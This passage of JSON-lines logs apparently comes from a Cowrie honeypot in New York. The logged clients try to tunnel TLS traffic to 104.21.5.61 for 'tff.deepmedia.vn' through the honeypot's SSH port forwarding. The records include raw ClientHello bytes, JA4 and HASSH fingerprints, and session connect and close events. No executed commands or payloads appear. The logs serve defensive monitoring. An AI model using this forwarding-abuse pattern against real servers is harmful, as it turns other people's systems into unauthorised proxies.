/\\xd4\\xfat\\xe9\\xb1yP\\x1d\\xdd\\xff\\x041\\x85\\xf1\\xac\\xae\\xc2\\x17*\\xd7\\xc3^\\xad\\xd1\\xf3\\xd5\\x91\\xb4\\xc9E\\x08\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1V`\\xe2P\\xf39T\\xc6\\x90\\x03\\xe4!.\\xdc\\xb0[di\\xc6\\x0e\\xaff\\xd4\\x94\\xac\\x8f\\xbf\\xb5\\xfcb\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O.\\x94\\xa0s =\\xe2IC\\xc8\\x0c\\xa8\\x96\\xef\\xe8\\xf5^\\x13\\xdd0\\x7f\\xa9o*6C\\xf2\\xbd\\x96V\\' /\\xd4\\xfat\\xe9\\xb1yP\\x1d\\xdd\\xff\\x041\\x85\\xf1\\xac\\xae\\xc2\\x17*\\xd7\\xc3^\\xad\\xd1\\xf3\\xd5\\x91\\xb4\\xc9E\\x08\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1V`\\xe2P\\xf39T\\xc6\\x90\\x03\\xe4!.\\xdc\\xb0[di\\xc6\\x0e\\xaff\\xd4\\x94\\xac\\x8f\\xbf\\xb5\\xfcb\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.284383Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:22.913325Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.070748Z","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.129539Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xdb\\xd2\\x97\\xafQ\\xd5\\xa2\\x99\\xb4\\xabN\\xe0\\xd08\\xeb{M\\x95G\\xd3\\xd8\\xbf44\\x15'\\xa5\\x0e\\xfb\\xc8\\x81 X#\\xfd\\x85\\xc47\\xf8\\xc2\\x9b\\xc6\\xbe\\x9e\\x1b\\x00\\xf4\\xc1\\x8f\\xd4G\\xba`\\xa9\\xcaI>YC\\x01\\xe5\\xfe\\x7f\\xd3\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8bT\\xff\\xe0H\\xea\\xbdFR\\x10\\x87\\x93\\xad\\x8fl\\x7fO\\x93\\x03\\x8f\\xc6)9\\x84/`.l/\\xf4\\xa6j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xdb\\xd2\\x97\\xafQ\\xd5\\xa2\\x99\\xb4\\xabN\\xe0\\xd08\\xeb{M\\x95G\\xd3\\xd8\\xbf44\\x15'\\xa5\\x0e\\xfb\\xc8\\x81 X#\\xfd\\x85\\xc47\\xf8\\xc2\\x9b\\xc6\\xbe\\x9e\\x1b\\x00\\xf4\\xc1\\x8f\\xd4G\\xba`\\xa9\\xcaI>YC\\x01\\xe5\\xfe\\x7f\\xd3\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8bT\\xff\\xe0H\\xea\\xbdFR\\x10\\x87\\x93\\xad\\x8fl\\x7fO\\x93\\x03\\x8f\\xc6)9\\x84/`.l/\\xf4\\xa6j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.132274Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.249219Z","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.316599Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x0cQ\\x8a{P\\xca\\\\\\x03\\x95\\x1f\\x07v\\xd3M\\x1a\\x96u5\\xd1Zzd\\xa9w\\xe3c\\xa6K+\\xe8\\xfe \\x95T\\xe9\\xbdl\\xfd\\xa1G:5\\xd6\\xf8H!\\xe6\\xef\\x1a\\xb6\\x89\\x1e&\\x0c\\xe9\\xf8\\xe6\\xed)\\xf2\\xa8\"tF\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xee\\xb3vb97z\\xee-*\\x10\\xdc\\x9c\\x8dm\"\\xbd\\xc8K\\xbc(B\\xc8i\\x92`\\x91<[\\x00\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x0cQ\\x8a{P\\xca\\\\\\x03\\x95\\x1f\\x07v\\xd3M\\x1a\\x96u5\\xd1Zzd\\xa9w\\xe3c\\xa6K+\\xe8\\xfe \\x95T\\xe9\\xbdl\\xfd\\xa1G:5\\xd6\\xf8H!\\xe6\\xef\\x1a\\xb6\\x89\\x1e&\\x0c\\xe9\\xf8\\xe6\\xed)\\xf2\\xa8\"tF\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xee\\xb3vb97z\\xee-*\\x10\\xdc\\x9c\\x8dm\"\\xbd\\xc8K\\xbc(B\\xc8i\\x92`\\x91<[\\x00\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:25.319397Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.741802453994751,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:26.669596Z","src_ip":"66.132.195.91","session":"b888e30d14a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95169544219971,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:27.376350Z","src_ip":"172.81.62.90","session":"6a2b885ecff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:28.206396Z","src_ip":"66.132.195.91","session":"7ce6d44a6e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.4","message":"Connection lost after 25.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:30.470854Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.91","src_port":39820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c026c613e624","protocol":"telnet","message":"New connection: 66.132.195.91:39820 (159.203.135.109:23) [session: c026c613e624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:31.565615Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":41226,"dst_ip":"159.203.135.109","dst_port":22,"session":"656b0465bcf4","protocol":"ssh","message":"New connection: 103.82.20.28:41226 (159.203.135.109:22) [session: 656b0465bcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:32.732336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:32.736578Z","src_ip":"103.82.20.28","session":"656b0465bcf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:33.005711Z","src_ip":"103.82.20.28","session":"656b0465bcf4","protocol":"ssh"}
